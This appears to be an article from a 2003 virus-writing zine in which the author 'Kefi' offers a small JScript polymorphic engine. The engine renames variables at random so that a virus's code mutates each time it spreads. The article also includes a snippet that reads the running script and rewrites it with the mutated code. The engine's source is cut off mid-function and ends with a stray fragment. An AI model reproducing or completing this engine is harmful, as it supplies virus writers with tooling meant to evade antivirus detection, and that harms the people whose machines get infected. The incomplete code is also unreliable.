Last article Table of contents Next article

kefi's jscript poly [kjp] by Kefi

                                                          	       April 17, 2003

   .Hello, everybody!  It's probably been a while since you've heard from me.  If so,
  don't feel bad.  I've been rather inactive in the scene lately as I've got a lot of
  personal problems to deal with...

   .Since chances are, you're a silly script-kitty (no offence), I  need to include a
  disclaimer in here.  If you're a  stupid ass, and you spread a virus  which uses my
  engine, I will hold no  responsibility  for it.  Nor will you ever accomplish anything
  other than irritating me.  In other words, "don't be a lame bastard."

   .Anyway, I'm glad you've decided  to check out my new polymorphic engine!  It's my
  favorite  one so far. :]  Basically  a re-make of kvpe, my  vbs poly, but  it's for
  javascript  instead.  At the time of  writing this, I  had thought  that it was the
  first of it's kind, however, later on Second Part To Hell (hello!) said that jackie
  had made one before me ... so, "good job, jackie!  you beat me to it!"  So, anyway,
  this thing's got to be the coolest js polymorphic engine, as  it's small (7 lines),
  fast, and easy to  understand (if you have  some prior  knowledge of javascript, of
  course).  How it  works is it loops  through an array of  variables, which you have
  in your script, then  generates a new, randomly  created variable.  After  it's got
  its new  variable, it searches for it  within your  virus's code and replaces the
  original  variable with the  new one.  To really understand it, I suggest  you just
  play with it for a while, I'm sure you'll understand it.

   .Now, in order to  use this poly, you'll  need to gather all  your code, and  then
  make a  call to the engine, then write the new stuff.  Here's a  really small, easy
  way to do this (uses the FileSystemObject ... ack):

   var objFso = new ActiveXObject("scripting.filesystemobject");
   var theCode = kjp(objFso.opentextfile(WScript.scriptfullname, 1).readall());
   objFso.opentextfile(WScript.scriptfullname, 2).write(theCode);

   ... You should understand that, if not, don't use my poly. :]

   .Well, that's all  I've got to say about this thing,  so once again, thank you for
  readin'  about it, and if you've  got any comments, questions, flames, or  whatever
  contact me:
   http   --

   .Credits go out to:
  jackie              -- Making the first js-poly, good job, I guess!
  Second Part To Hell -- Thanks  for all your  javascirpt help  and telling me  about
                         jackie's poly!

                 (c)  by Kefi, April 17, 2003 //

         Note: minor formating and changes in the text occured on: October 3rd, 2003
  .---------------------------------[jscript poly]----------------------------------.

function kjp(a1){
 a2 = new Array("kjp", "a1", "a2", "a3", "a4", "a5", "a6", "a7");
 for(a3 in a2){
  a4 = "";
  for(a5 = 0; a5 <Math.round(Math.random() * 6) + 4; a5++)
   a4 += String.fromCharCode(Math.round(Math.random() * 22) + 97);
  for(var a6 = 0; a6 <a1.length; a6++) a1 = a1.replace(a2[a3], a4);

executable engine